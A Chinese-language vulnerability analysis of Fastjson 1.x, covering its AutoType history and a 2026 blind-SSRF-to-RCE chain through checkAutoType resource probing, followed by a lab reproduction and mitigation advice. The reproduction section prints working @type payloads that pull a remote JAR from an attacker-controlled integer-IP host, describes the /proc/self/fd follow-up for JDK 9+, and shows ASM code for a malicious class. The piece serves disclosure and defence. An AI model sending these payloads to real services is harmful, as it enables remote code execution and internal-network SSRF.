Fastjson 的安全问题不是某一次孤立漏洞,而是围绕 AutoType 机制长期演化出来的一条漏洞链路。从早期任意类型反序列化,到黑名单绕过、AutoType 绕过、ThrowableDeserializer 特殊路径,再到 2026 年 7 月公开的 1.2.68–1.2.83 远程代码执行,核心问题始终是:不可信 JSON 输入能够影响服务端 Java 类型解析与类加载行为。
2026-07-19,一条针对 fastjson 1.x 末代版本的远程代码执行被公开披露:即便 AutoType 默认关闭、且目标 classpath 不存在任何传统 gadget,仍然可以触发。这条链的本质是 “AutoType 关闭下的 SSRF 到 RCE”——checkAutoType 中的资源探测先变成盲 SSRF,再借助远程 JAR 的 @JSONType 元数据让类型加载继续:JDK 8 上可由 jar:http 一次请求直接走到 defineClass 与 <clinit> 完成 RCE;JDK 9+ 起类名校验收紧,需借助 JAR 缓存与 /proc/self/fd 续链绕过。
一、背景与漏洞概览
(一)Fastjson 与 AutoType
Fastjson 是阿里巴巴开源的 Java JSON 序列化与反序列化库,长期被大量 Java Web、Spring Boot、微服务项目使用。它的核心风险点来自一个历史功能:AutoType。
AutoType 的设计目标是让 JSON 数据携带 Java 类型信息,便于反序列化时恢复具体对象类型。例如:
1 | { |
Fastjson 解析时会根据 @type 中的类名加载并实例化对应 Java 类。这个能力在可信数据场景下很方便,但如果 JSON 输入来自用户,攻击者就可能通过 @type 指定危险类,诱导服务端进入危险的构造、setter、getter、JNDI、TemplatesImpl 或其他 gadget 链,最终造成远程代码执行。
所以 Fastjson 漏洞的根本问题可以概括为:
用户可控输入不应该决定服务端要加载和实例化哪个 Java 类型。
(二)影响范围与触发条件
本次公开风险是 Fastjson 1.x 1.2.68 至 1.2.83 的远程代码执行漏洞。腾讯云安全通告(cloud.tencent.com/announce/detail/2381)指出:攻击者可向使用受影响版本的应用发送特制 JSON,在未启用 SafeMode 的情况下触发远程代码执行。与历史 gadget 型 RCE 不同,它的入口不在反序列化的实例化阶段,而在 checkAutoType 的安全检查过程里——这也正是第三章要逐行拆解的部分。
该漏洞的关键特征:
- 影响 fastjson
1.2.68至1.2.83,覆盖 Fastjson 1.x 最后版本1.2.83; - 暂无 CVE 编号与权威 CVSS 评分(阿里云收录
AVD-2026-1896768,评分暂记未定义;业界按 critical 量级对待); - 已有安全厂商(ThreatBook 等)报告监测到针对该漏洞的攻击流量与利用尝试(成功在野利用尚待确认);奇安信(
QVD-2026-43021)估计受影响实例达百万级; - 不依赖传统第三方 gadget;
- 不要求开发者显式开启 AutoType;
- 未启用 SafeMode 是关键风险条件;
- 常见复现场景是 Spring Boot 可执行 FatJar;
- fastjson2 不受影响(独立代码库,重写了 AutoType 体系);
- 阿里巴巴已发布官方安全通告但不会为 1.x 发布补丁——1.x 仓库已归档只读,唯一修复是启用 SafeMode 或迁移 fastjson2。
这次漏洞比历史 AutoType 绕过更值得警惕,因为它不再明显依赖目标业务 classpath 中存在某个传统 gadget。
安全通告普遍按 1.2.68–1.2.83 给出影响范围(部分厂商如 360 给出更宽的 1.2.66–1.2.83 作为排查范围);公开机制文档指出:该资源探测路径在 1.2.60 之后才引入(1.2.60 及更早版本不存在此路径),完整单包复现链条目前以 1.2.83 端到端验证最充分。可以把 1.2.68–1.2.83 作为应急排查范围,但不同小版本的续链行为可能不同,不能简单认为所有版本利用路径完全一致。
从触发条件看,风险更集中在同时满足这些特征的服务:
- 使用 Fastjson 1.x
1.2.68–1.2.83; - 未启用 SafeMode;
- 使用 Spring Boot 可执行 FatJar 方式运行(ClassLoader 继承
URLClassLoader、URLClassPath含jar:file根); - JSON 输入中存在可进入动态类型解析的字段;
- 应用进程允许访问外部 HTTP/JAR 资源;
- 运行环境具备 JAR 缓存、ClassLoader 资源解析或 fd 续链条件。
一个明确的负面边界:非 Spring Boot FatJar 的部署(WAR、普通 java -jar、外部 Tomcat/Jetty 容器),其 ClassLoader 不继承 URLClassLoader、URLClassPath 不含 jar:file 根,资源名会被当成本地路径,通常不可被该链路利用。
二、1.x 漏洞演进史
(一)早期 RCE
早期 Fastjson 的类型解析边界较弱,@type 可以直接影响反序列化目标类型。攻击者只要找到目标应用 classpath 中存在的危险类,就可能构造恶意 JSON 触发执行链。
这一阶段的典型特征:
- 依赖
@type字段; - 依赖目标 classpath 中存在可利用 gadget;
- 常见利用方向包括 JNDI、TemplatesImpl、JdbcRowSetImpl 等;
- 防御思路主要是升级版本、关闭 AutoType、增加黑名单。
这一时期的安全策略本质上偏向“补洞式防御”。发现一个危险类,就加入黑名单;发现一种类名变形,就补一条规则。但 Java 生态依赖复杂,黑名单很难穷尽所有可能路径。
(二)黑名单与 AutoType 绕过
Fastjson 后续逐渐默认关闭 AutoType,并引入黑名单、白名单、类型 hash 校验等机制。但攻击者也开始针对这些机制寻找绕过方式。
常见绕过方向包括:
- 类名变形;
- 数组类型绕过;
- 特殊前缀或后缀绕过;
- 类型缓存污染;
expectClass逻辑绕过;- 异常类、接口、父类关系造成的特殊路径。
这一阶段的关键变化是:即使 AutoType 默认关闭,部分内部代码路径仍可能间接进入类型解析逻辑。风险不再只是“开发者显式开启 AutoType 才会出问题”,而是 Fastjson 内部复杂的类型判断、反序列化器选择、特殊类处理逻辑,在某些条件下会重新打开危险入口。
(三)SafeMode
Fastjson 1.2.68 引入了 SafeMode,它是 Fastjson 1.x 后期最重要的安全开关,作用是更彻底地禁用 AutoType。开启方式有三种。
代码方式:
1 | ParserConfig.getGlobalInstance().setSafeMode(true); |
JVM 参数方式:
1 | -Dfastjson.parser.safeMode=true |
配置文件方式:
1 | fastjson.parser.safeMode=true |
需要特别区分的是:AutoType 默认关闭不等于 SafeMode 开启。
| 模式 | 含义 |
|---|---|
| AutoType 默认关闭 | 普通场景不允许任意 @type,但部分内部路径仍可能触发类型解析 |
| SafeMode 开启 | 更强约束,直接禁用 AutoType 相关能力 |
| noneautotype 版本 | 编译层面移除 AutoType 相关逻辑 |
所以对 Fastjson 1.x 来说,安全结论不是“我没有手动开启 AutoType,所以没事”,而是要确认是否启用了 SafeMode,或者是否使用了 noneautotype 构建。
(四)CVE-2022-25845 与 1.2.83
2022 年披露的 CVE-2022-25845 是 Fastjson 历史上非常关键的一次漏洞。NVD / GHSA 记录其影响范围为 com.alibaba:fastjson before 1.2.83(即 < 1.2.83,CVSS 9.8),当时推荐升级到 1.2.83。
这个漏洞的核心是 expectClass 绕过。Fastjson 1.2.68 在引入 SafeMode 的同时,也在 checkAutoType 中新增了 expectClass 参数:当某个类被指定为 expectClass 时,它的子类可以跳过 AutoType 限制。常见的可利用载体有两类——Throwable/Exception(走 ThrowableDeserializer)和 AutoCloseable/Runnable 等接口(走 JavaBeanDeserializer)。攻击者以这些类作为 expectClass,就能在 AutoType 默认关闭的情况下仍反序列化指定类。
这一阶段的关键点:
- 仍然依赖
@type; - 可以绕过 AutoType 关闭策略(借助
expectClass); - 依赖目标 classpath 中存在可作
expectClass载体的类及其可利用子类; - 真实 RCE 条件相对苛刻;
1.2.83曾经被视为当时的安全版本。
但这个结论已经过期。后续新漏洞证明,1.2.83 不能再作为 Fastjson 1.x 的安全终点。
(五)1.x 仓库归档
Fastjson 1.x 仓库(github.com/alibaba/fastjson)已于 2024-10-23 被所有者归档,进入只读状态。
这意味着:
- 1.x 不再正常维护;
- 新漏洞大概率不会再有
1.2.84修复版; - 继续使用 1.x 的项目只能依赖 SafeMode、
noneautotype或迁移; - “升级到 1.2.83 就安全”已经不成立。
对仍在使用 com.alibaba:fastjson 1.x 的生产系统,应按遗留高风险组件处理——仓库归档只读意味着不会有补丁,唯一缓解是启用 SafeMode 或迁移到 fastjson2。
三、最新漏洞机制:从盲 SSRF 到 RCE
(一)藏在检查里的盲 SSRF
多年以来,fastjson 1.2.83 一直被当作“安全终点”——1.x 最后一个版本、AutoType 默认关闭、黑名单和 SafeMode 齐备,社区共识是“升到 1.2.83 就行了”。拿历史 gadget 链去打 1.2.83,每次都只会收到一句冷冰冰的 autoType is not support.,看起来确实已经堵死。
真正不同的是运行方式:这次把靶场换成了 Spring Boot FatJar 方式运行——和真实生产一模一样。就是这个细节,让一条所有人都认定“已经堵死”的路重新走通了,而且不需要目标 classpath 上存在任何 gadget。
为什么反直觉?因为大家一直把“安全”理解成“能不能实例化某个危险类”,而这次问题的根,根本不在实例化入口。fastjson 在决定“这个 @type 该不该拒绝”之前,会先去读取这个类的字节,看它带不带 @JSONType 注解——而这一次“读”,就把用户可控的字符串送进了 ClassLoader 的资源加载逻辑,变成了对外的网络请求。
这个 SSRF 的源头在 ParserConfig.checkAutoType。对照 fastjson 1.2.83 源码逐行看:大部分是黑名单 hash 校验,但在最终拒绝之前,藏着一段不起眼的逻辑。源码定位:
| 位置 | 作用 |
|---|---|
DefaultJSONParser.java:343 |
无显式类型的 @type 进入 checkAutoType(typeName, null) |
ParserConfig.java:1329 |
SafeMode 分支,直接抛异常(早于资源探测,是 SafeMode 截断点) |
ParserConfig.java:1482-1499 |
资源名拼装 + getResourceAsStream + @JSONType 扫描 |
ParserConfig.java:1500-1503 |
jsonType 命中则 TypeUtils.loadClass |
ParserConfig.java:1542 |
AutoType 关闭时的最终拒绝 |
关键代码:
1 | String resource = typeName.replace('.', '/') + ".class"; |
设计者的本意是善意的:AutoType 关了,但被 @JSONType 显式标注的类是业务主动声明要用的,应该放行,所以在拒绝前先读字节确认一下。问题在于 getResourceAsStream 接收的字符串,正是用户可控的 @type——而它的本意只是“在本地 classpath 里找一下这个类”。本该只在本地 classpath 里找的名字,一旦被特定 ClassLoader 解释成 URL,就变成了对外的网络请求。
把类型名变成 URL 的就是上面那行 typeName.replace('.', '/'):Java 类型名用点号分隔包(com.example.User),classpath 资源用斜杠(com/example/User.class),所以 fastjson 用它做转换。这行本身无可厚非——直到攻击者控制了 typeName:http:// 里的两个点也会被替换成两个斜杠。
举个直观的例子。一开始把 @type 指向一个自己控制的服务器:
1 | {"@type":"http://attacker.com:31337/probe"} |
什么都没收到。原因就是 replace 把 attacker.com 切成了 attacker/com,请求发不出去。绕过办法很老套——主机名有点,但 IP 的整数形式没有。127.0.0.1 写成一个数是 2130706433:
1 | {"@type":"http://2130706433:31337/probe"} |
这一次,artifact server 日志里出现了 GET。fastjson 在“检查 @type 是否允许”的时候,主动向攻击者控制的 HTTP 服务取了一次资源。
这就是这条链真正的漏洞点:一次来自反序列化器的盲 SSRF,AutoType 关着也照发,而且它发生在最终的
autoType is not support拒绝(约 1542 行)之前——哪怕这次解析最终被拒绝,外部请求已经发出去了。
这个 SSRF 是确定的、普遍成立的,不挑 JDK 版本。因为资源探测发生在类定义(defineClass)之前,JVM 类名校验那一关还没开始,所以无论目标是 JDK 8 还是 JDK 21,盲 SSRF 都成立。哪怕后续推不到 RCE,光是这个 SSRF 本身就已经是高危——它能探测内网、访问云元数据服务、打击内部端点。
那 SafeMode 为什么能挡住?因为 SafeMode 分支在 1329 行,比资源探测(1482 行)早得多。开启 SafeMode 后,checkAutoType 还没走到读字节那一步就直接抛异常了。这也是为什么“AutoType 默认关闭”挡不住、“SafeMode 开启”才挡得住——两者差着 150 多行代码。
(二)从 SSRF 到 RCE
光有一次 SSRF 还不够。要走到代码执行,得让 fastjson 这次“取回来的东西”反过来影响它的类型加载决策。
这个推进靠两样东西:远程 JAR 里的 @JSONType 注解,和被加载 class 的静态初始化块 <clinit>。
第一步,让取回的字节“被信任”。fastjson 读到字节后用 ASM 扫描,发现运行时可见的 @JSONType 就让 jsonType 为真;而 jsonType 一旦为真,即便 AutoType 关着,也会走到 TypeUtils.loadClass 去定义并加载这个类。攻击者在伪造远程 JAR 时,直接用 ASM 把注解塞进 class 字节:
1 | AnnotationVisitor ann = writer.visitAnnotation( |
第二步,让加载触发执行。代码执行的真正落点是这个类的静态初始化块 <clinit>——fastjson 加载并构建实例时,静态块自动执行,攻击者把 Runtime.exec 放进去就行。fastjson 自己的扫描器(TypeCollector)也正是冲着 <clinit> 去的。
到这里,三个关键角色齐了:
| 构造对象 | 作用 |
|---|---|
JSON 中的 @type |
控制 fastjson 的类型名与资源路径 |
| 远程 JAR 中的 class | 提供可被 ASM 读取的 class 字节 |
class 上的 @JSONType + <clinit> |
一个让 jsonType 成立进入加载,一个负责真正执行代码 |
在 JDK 8 上,这一步是直接成立的。JVM 的类名校验只禁止类名里出现 .、;、[,jar:http://... 这种含 // 的名字照样能通过 defineClass,类被定义、实例化时 <clinit> 执行,命令就跑起来——一次 jar:http 请求即可 RCE:artifact server 收到 GET /f,应用终端打印 PWNED banner,弹出计算器并把 whoami 结果写入 marker,JSON.parse 端到端返回反序列化对象实例。
从 JDK 9 起,类名合法性校验(verify_unqualified_name)收紧,不再允许类名里出现连续 //。把同一个 payload 打到 JDK 21,拿到的是:
1 | ClassFormatError: Illegal class name “jar:http://2130706433:31337/f!/Evil” |
也就是说,在 JDK 9+ 上,直接从 http URL 加载 class 这条路会被砍掉,链路退回到(一)里的 SSRF 就停了——资源取回来了,但类定义失败,没有代码执行。要继续推进,需要下一节的 fd 续链。
/proc/self/fd 续链就是为绕过这一关而生的。JVM 通过 jar:http 下载远程 JAR 时不会边下边用,而是把整个 JAR 落盘成临时文件 /tmp/jar_cache.tmp,打开之后立刻从目录里删掉,但文件描述符保持打开。文件在目录里已经看不见,可只要 fd 还开着,Linux 进程就能通过 /proc/self/fd/N 继续读它。
于是第二阶段换一种 @type,指回那个还开着的 fd:
1 | @type: jar:file:.proc.self.fd.11!.E11 |
注意最终类名是 jar:file:/proc/self/fd/...,只有一个斜杠,没有 ://——正好绕开 JDK 9+ 对连续 // 的限制。fastjson 用 Spring Boot 的 LaunchedURLClassLoader 把它当成一个 jar:file: 资源加载,类被定义、<clinit> 执行。缓存的 JAR 通过 fd 引用,从中加载的类执行任意代码。
这里有一个关键推论:结合 /proc/self/fd 续链,JDK 版本不再是 RCE 的障碍。原因有二:其一,seed 阶段的 JAR 下载发生在 defineClass(类名校验)之前——它是 getResourceAsStream 触发的 URL handler 行为,与 JDK 版本无关,所以 JAR 在任意 JDK 上都会被下载并缓存进 fd;其二,fd 路径的最终类名只含单斜杠,在所有 JDK(8/11/17/21)上都合法。因此从 JDK 8 到 JDK 21,都能从 SSRF 推进到 RCE——JDK 版本只决定利用是“一步”(JDK 8 直接 jar:http)还是“两步”(JDK 9+ 需 fd 续链),不决定最终“能不能 RCE”。
JDK 8 在 seed 那一步就直接走到 <clinit> 完成 RCE,不经过 fd。下面这条完整剧本是 JDK 9+ 的两步形态(seed + fd 续链):
1 | seed payload(jar:http) |
到底用 jar:http 直连还是 /proc/self/fd 续链,取决于 JDK 版本,而不是嵌入式服务器选型:JDK 8 类名校验宽松,jar:http 一次请求直接 defineClass 并触发 <clinit>,无需 fd;JDK 9+ 类名校验收紧,jar:http 直接加载抛 ClassFormatError,才需要先 seed 再用单斜杠的 fd 路径续链。在 Spring Boot 默认的嵌入式 Tomcat + JDK 8 上,jar:http 直连即可 RCE——所谓“默认 Tomcat 下 jar:http 不生效”并不成立,真正决定成败的是 JDK 版本,以及类加载器拓扑(defineClass 与反序列化 createInstance 是否落在同一个能解析 jar: URL 的 ClassLoader 上)。
fd 编号也不固定,取决于目标进程当时打开了多少文件。常见做法是为一批候选 fd 号各准备一个对应类名的请求(E10、E11……逐个试),命中那个还开着的句柄;复现时看 artifact server 日志与 marker 状态即可。
payload 还有一个硬约束:凡是替换后要当 / 用的位置,@type 里都得写成 .;凡是不能被破坏的名字(JAR 名、类名),都不能含点号。所以真实 payload 里远程 JAR 和类都用 f、Evil、E11 这种无点短名,而不是 lab.jar、com.example.Seed 这种带点写法——带点就会被 replace 切碎。
(三)与历史 gadget RCE 的区别
历史路径:
1 | 用户控制 @type |
这次路径:
1 | 用户控制 @type |
| 对比项 | 历史 Fastjson RCE | 最新 SSRF-to-RCE |
|---|---|---|
| 关键入口 | @type 触发危险类反序列化 |
@type 触发 class 资源探测 |
| 主要依赖 | 目标 classpath 中已有 gadget | ClassLoader 对特殊资源路径的解析行为 |
| AutoType 关系 | 多数围绕 AutoType 开启或绕过 | AutoType 默认关闭仍进入资源探测路径 |
| 利用资源来源 | 本地依赖包、本地 JDK 类、业务类 | 远程 JAR/class 与 JVM/JAR 缓存 |
| 防御重点 | 关闭 AutoType、升级黑名单、移除 gadget | SafeMode、noneautotype、限制出站、迁移 fastjson2 |
| 风险认知误区 | “我没有这个 gadget 就没事” | “我没开 AutoType / 指定了 DTO 就没事” |
这次漏洞的危险点不是“又出现了一个 AutoType 绕过”,而是 fastjson 在安全检查阶段仍然存在用户可控资源解析行为,对应两个独立的安全边界:
- SSRF 边界:
checkAutoType在最终拒绝之前,已经通过getResourceAsStream访问了外部资源——这一步几乎总能成立; - 类型加载边界:外部 JAR 的 class 元数据反过来影响
jsonType判断,让加载路径继续——这一步有条件成立。
历史 gadget 型 RCE 的核心是“本地危险类被实例化”;这次链的核心是“安全检查过程先产生外部资源访问(SSRF),再让外部资源参与类型加载决策(RCE)”。
(四)升级到 RCE 的条件
很多团队以为,只要把解析写死成固定 DTO 就安全了:
1 | JSON.parseObject(body, BoundEnvelope.class); |
但只要 DTO 里有宽泛类型字段,@type 就能藏进嵌套层:
1 | public class BoundEnvelope { |
List<Object>、Object、Map<String, Object>、JSONObject 这些字段会让嵌套对象重新进入动态类型解析。顶层类型固定了,不代表嵌套字段里的 @type 被拦掉。所以“指定 parseObject 第二个参数”只锁住了最外层。
盲 SSRF 是确定的;能否从 SSRF 升级到 RCE,真正起决定作用的是下面这组条件,而不是 JDK 版本:
- Fastjson 处于
1.2.68–1.2.83; - 没开 SafeMode;
- Spring Boot FatJar 运行(ClassLoader 继承
URLClassLoader、URLClassPath含jar:file根); - 应用允许出站访问远程资源;
- 目标是 Linux,能用上
/proc/self/fd。
这五条里 ClassLoader 是最容易被忽视、却最根本的一项。整条链依赖同一个能力:ClassLoader 把用户构造的资源名(jar:http://...、jar:file:/proc/...)当成真正的 URL 去取。普通 ClassLoader 只把它当本地路径,链路在第一步就断;只有 URLClassLoader(且 URLClassPath 含 jar:file 根)才会解析这些 URL 形态。Spring Boot FatJar 的 LaunchedURLClassLoader 正好继承自 URLClassLoader,URLClassPath 里带着指向 fat jar 内部的 jar:file 根——这正是它走通的根本原因。
只要这五条同时满足,结合 /proc/self/fd 续链,任意 JDK 版本都能从 SSRF 推进到 RCE。JDK 版本影响的只是利用步骤的繁简:
| JDK 版本 | 利用方式 | 说明 |
|---|---|---|
| JDK 8 | 一步:直接 jar:http://... |
类名校验只禁 . ; [,连续 // 可通过,直接 defineClass |
| JDK 9 / 11 / 17 / 21 | 两步:seed(jar:http)+ fd 续链(jar:file:/proc/self/fd/N) |
直接 jar:http 因连续 // 抛 ClassFormatError;但 seed 下载发生在 defineClass 之前,JAR 照样缓存进 fd;fd 路径单斜杠绕过校验,照常 defineClass |
真正会阻断 RCE 的,是下列环境约束(与 JDK 无关):
| 环境约束 | 影响 | 原因 |
|---|---|---|
| 非 Linux(如 Windows) | JDK 9+ 停留在 SSRF;JDK 8 一步 RCE | 无 /proc/self/fd,fd 续链不成立;但 JDK 8 直接 jar:http 不依赖 fd |
非 FatJar 部署(WAR、普通 java -jar、外部容器) |
通常不可利用 | ClassLoader 不继承 URLClassLoader,URLClassPath 不含 jar:file 根,资源名被当本地路径,连 SSRF 都触发不了 |
| 开启 SafeMode | 链路在源头截断 | checkAutoType 在资源探测前抛异常,连 SSRF 都不成立 |
| 无出站网络 | 无法引入远程 JAR | seed 阶段取不回资源,链路无从开始 |
最后和走 JNDI 的历史链对比一下——JDK 版本对两者的影响截然不同。早期 fastjson 利用链靠 JNDI/RMI/LDAP 让服务端远程拉 class,JDK 版本直接决定成败:
这条新链根本不用 JNDI,走的是 getResourceAsStream + FatJar 的 URL 解析。所以升级 JDK 削弱得了历史 JNDI 链,挡不住这条——结合 /proc/self/fd,从 JDK 8 到 21 都能 RCE。能阻断它的是 SafeMode、迁移 fastjson2、限制出站;只要没开 SafeMode、还是 FatJar、还能出站,前置的 SSRF 就成立,风险就在。
| JDK 版本 | 对传统 JNDI/RMI/LDAP 远程类加载的影响 |
|---|---|
| JDK 8u121 之前 | RMI/LDAP 远程 codebase 加载限制较弱,历史 JNDI 链更容易触发 |
| JDK 8u121-8u190 | RMI 远程 codebase 默认收紧,但 LDAP 场景仍有历史绕过空间 |
| JDK 8u191 及之后 | RMI/LDAP 远程 codebase 加载默认被明显收紧,传统 JNDI 远程 class loading 难度大幅提高 |
| JDK 11/17/21 | 默认安全边界更严格,传统 JNDI 远程加载链通常不能直接照搬 |
四、实战复现
(一)复现环境
建议准备两个本地服务:
| 角色 | 作用 |
|---|---|
| vulnerable app | 使用 Fastjson 1.2.83 的 Spring Boot FatJar 靶场 |
| artifact server | 提供实验 JAR/class 资源,观察目标是否发起访问 |
复现环境不依赖特定公开仓库,核心是准备一个存在 Fastjson 解析入口的 Spring Boot FatJar 服务,以及一个能记录访问日志并提供实验 JAR 的 artifact server。真正要验证的是请求链路,而不是某个仓库的脚本。
(二)请求包与 payload 结构
复现的入口是一个携带 @type 的 JSON POST 请求。如果服务端用固定 DTO 解析,只要 DTO 内部存在 Object、List<Object>、Map<String, Object> 这类宽泛字段,@type 就能藏在嵌套层里绕过顶层类型限制——parseObject(body, SomeDto.class) 只锁住最外层。
payload 本身很短,但字符串变换是整条链的关键。fastjson 内部对 @type 做 typeName.replace('.', '/') + “.class”:点号变斜杠是为了把 Java 类型名映射成 classpath 资源路径,但攻击者控制的字符串里如果本身含有点号,地址就会被切碎。因此 payload 构造有一个硬约束:需要当 / 用的位置写 .,不能被破坏的名字不含点。远程 JAR 名和类名都用无点短名(f、Evil),远程主机用整数 IP(2130706433 = 127.0.0.1,无点号可安全替换)。
第一阶段:盲 SSRF 探测
1 | {“@type”: “http://2130706433:31337/probe”} |
2130706433 是 127.0.0.1 的十进制表示。该字符串不含点号,replace 原样保留,最终请求落到 http://2130706433:31337/probe.class。预期结果不是应用返回成功,而是 artifact server 日志里出现一次来自 vulnerable app 的 GET 请求——即使应用端随后抛出 autoType is not support,也说明资源探测已经发生,这就是”来自反序列化器的盲 SSRF”。
如果直接写 127.0.0.1 或带点的域名,点号会被替换成斜杠,地址就被破坏。本地复现用两种方式避坑:Docker Compose 内用无点号主机名(如 artifact),或直接用整数 IP(2130706433 表示 127.0.0.1)。
第二阶段:JAR seed → RCE(JDK 8 一步路径)
1 | {“@type”: “jar:http:..2130706433:31337.f!.Evil”} |
replace 后:
1 | jar:http:..2130706433:31337.f!.Evil → jar:http://2130706433:31337/f!/Evil.class |
http:.. 的两个点还原成 //,.f! 还原成 /f!。artifact server 把 /f 当 JAR 提供,内含带 @JSONType 注解的 Evil.class。fastjson 读到注解后 jsonType 成立,进入 TypeUtils.loadClass;JDK 8 的 defineClass 接受 jar:http:// 形类名,类被定义并初始化,<clinit> 执行。
1 | POST /parse {“@type”:”jar:http:..2130706433:31337.f!.Evil”} |
各 JDK 版本的预期差异:
| JDK | 结果 |
|---|---|
| 8 | defineClass 接受 URL 形类名,<clinit> 直接执行,一步 RCE |
| 9+ | verify_unqualified_name 拒绝连续 //,抛 ClassFormatError,链路在 seed 后停止;JVM 已把 JAR 缓存到临时 fd,需第三阶段 fd 续链 |
<clinit> 是每个类各自独立的 JVM 类初始化,每个类名只执行一次——攻击者 A 用类 Evil 触发后,攻击者 B 换一个不同类名(如 Malicious)仍然能各自触发自己的 <clinit>。但在同一个类名下,第一次请求触发 defineClass + 初始化即 RCE,第二次起类已初始化、payload 不再执行(newInstance 仍返回实例),要复现完整效果需换干净 JVM。靶场 /parse 端点每次先删 marker 正是为了制造这个反差:第一次请求 <clinit> 执行并重建 marker,响应里 marker = true;第二次 marker 被删后无人重建,marker = false——两者对比就是”<clinit> 只跑一次”的直接观测证据。
第三阶段:fd 续链(JDK 9+ 两步路径)
JDK 9+ 直接在 defineClass 处拒绝连续 // 的类名,seed 阶段的 jar:http 请求虽然仍然会被 getResourceAsStream 触发(SSRF 成立),JAR 也会被下载并缓存,但类定义失败,链路停在这里。要继续推进,需要借助 JVM 自己的缓存行为。
JVM 通过 jar:http 下载远程 JAR 时,会把整个 JAR 落盘成临时文件(如 /tmp/jar_cache.tmp),打开文件描述符后立刻从目录中删掉——目录项消失,但 fd 仍然打开。Linux 进程可以通过 /proc/self/fd/N 继续读这个文件。于是第二阶段再发一个 jar:file: 请求,指回这个还开着的 fd:
1 | {"@type": "jar:file:.proc.self.fd.11!.E11"} |
replace 后:
1 | jar:file:.proc.self.fd.11!.E11 → jar:file:/proc/self/fd/11!/E11.class |
最终类名只含单斜杠,绕开 JDK 9+ 对连续 // 的限制。LaunchedURLClassLoader 把它当成 jar:file: 资源加载,类被定义、<clinit> 执行。
这里 11 只是示例 fd 编号,不是固定值。真实复现中需要逐个试探(E10、E11……),命中那个还开着的句柄;观察 artifact server 日志与 marker 状态确认是否成功。
| JDK | 路径 |
|---|---|
| 8 | 一步:jar:http 直接 defineClass + <clinit> |
| 9+ | 两步:seed(jar:http 下载 JAR)+ fd 续链(jar:file:/proc/self/fd/N) |
fd 续链依赖 Linux
/proc/self/fd语义,Windows 无此路径——Windows 上 JDK 9+ 停留在 SSRF,只有 JDK 8 能一步 RCE。
SafeMode 对照下,seed 请求和 fd 请求都不会进入资源探测路径——checkAutoType 在 1329 行的 SafeMode 分支先于资源探测直接抛异常。
五、修复与防御
这次漏洞的修复思路不能只停留在“关闭 AutoType”。原因是最新链路利用的是 checkAutoType 过程中的资源探测行为,AutoType 默认关闭并不等于 SafeMode 生效。阿里巴巴官方安全通告给出的处置建议也是两条:启用 SafeMode,或迁移 fastjson2。
(一)迁移 fastjson2
长期方案是迁移到 fastjson2。Fastjson 1.x 已经归档,不应再把 1.2.83 当作安全终点。
Maven 依赖示例:
1 | <dependency> |
迁移时要注意包名和 API 差异。Fastjson 1.x 使用的是:
1 | import com.alibaba.fastjson.JSON; |
fastjson2 使用的是:
1 | import com.alibaba.fastjson2.JSON; |
不要只改版本号,要实际编译、跑单元测试和接口回归,确认序列化字段、日期格式、枚举、泛型解析行为没有业务兼容性问题。
(二)启用 SafeMode
无法马上迁移时,应立即启用 SafeMode。
JVM 启动参数:
1 | -Dfastjson.parser.safeMode=true |
代码方式:
1 | ParserConfig.getGlobalInstance().setSafeMode(true); |
配置文件方式:
1 | fastjson.parser.safeMode=true |
SafeMode 的关键价值在于:它会在资源探测之前阻断普通 AutoType 路径(源码 checkAutoType 约 1329 行的 SafeMode 分支早于 1482 行的资源探测与 loadClass,直接抛异常)。也就是说,防御点不是等远程 class 下载后再拦截,而是让 Fastjson 不再根据用户可控 @type 进入 class 资源探测流程。
(三)noneautotype 构建
如果项目短期仍要停留在 Fastjson 1.x,可以考虑切换到 noneautotype 构建:
1 | <dependency> |
这个版本在编译层面移除了 AutoType 相关能力,比只依赖运行时开关更稳。它适合短期无法迁移 fastjson2,但又必须降低 AutoType 体系风险的项目。
(四)收紧解析模型
业务代码层面要减少宽泛类型字段:
1 | private Object data; |
这些字段会让嵌套对象继续进入动态类型解析。更稳的做法是定义明确 DTO:
1 | public class OrderRequest { |
顶层 JSON.parseObject(body, SomeDto.class) 不是充分缓解。如果 DTO 内部仍然有 Object、Map<String, Object>、JSONObject,攻击者可以把 @type 放到嵌套字段里。
(五)限制出站访问
最新链路通常需要目标应用访问远程 JAR/class 资源,因此出站访问控制是重要缓解措施。
建议:
- 应用容器默认禁止访问公网;
- 只允许访问明确业务依赖的域名或 IP;
- 禁止应用进程访问未知 HTTP/HTTPS 资源;
- 监控异常
.jar、.class、jar:http:、jar:file:请求; - 对 Spring Boot 服务增加 egress 日志和告警。
这不是根治,但能显著降低资源探测型链路的成功率。
